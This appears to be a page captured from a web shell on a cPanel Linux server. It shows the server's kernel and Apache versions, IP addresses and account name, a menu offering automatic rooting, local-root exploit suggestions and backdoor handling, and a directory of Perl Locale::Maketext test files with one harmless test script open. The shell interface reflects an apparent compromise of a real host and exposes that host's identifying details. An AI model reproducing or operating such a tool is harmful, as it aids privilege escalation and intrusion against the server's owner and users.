Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Locale-Maketext /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_about_verbose.t
1.98
KB
-r--r--r--
2014-12-27 11:48
04_use_external_lex_cache.t
1.62
KB
-r--r--r--
2014-12-27 11:48
09_compile.t
709
B
-r--r--r--
2014-12-27 11:48
10_make.t
685
B
-r--r--r--
2014-12-27 11:48
20_get.t
1.72
KB
-r--r--r--
2014-12-27 11:48
30_eval_dollar_at.t
1.6
KB
-r--r--r--
2014-12-27 11:48
40_super.t
1.5
KB
-r--r--r--
2014-12-27 11:48
50_super.t
2.03
KB
-r--r--r--
2014-12-27 11:48
60_super.t
734
B
-r--r--r--
2014-12-27 11:48
70_fail_auto.t
718
B
-r--r--r--
2014-12-27 11:48
90_utf8.t
719
B
-r--r--r--
2014-12-27 11:48
91_backslash.t
870
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -Tw use strict; use Test::More tests => 3; BEGIN { use_ok( 'Locale::Maketext', 1.01 ); } use utf8; # declare some classes... { package Woozle; our @ISA = ('Locale::Maketext'); sub dubbil { return $_[1] * 2 . chr(2000) } sub numerate { return $_[2] . 'en' } } { package Woozle::eu_mt; our @ISA = ('Woozle'); our %Lexicon = ( 'd2' => chr(1000) . 'hum [dubbil,_1]', 'd3' => chr(1000) . 'hoo [quant,_1,zaz]', 'd4' => chr(1000) . 'hoo [*,_1,zaz]', ); keys %Lexicon; # dodges the 'used only once' warning } my $lh = Woozle->get_handle('eu-mt'); isa_ok( $lh, 'Woozle::eu_mt' ); is( $lh->maketext('d2', 7), chr(1000).'hum 14'.chr(2000) );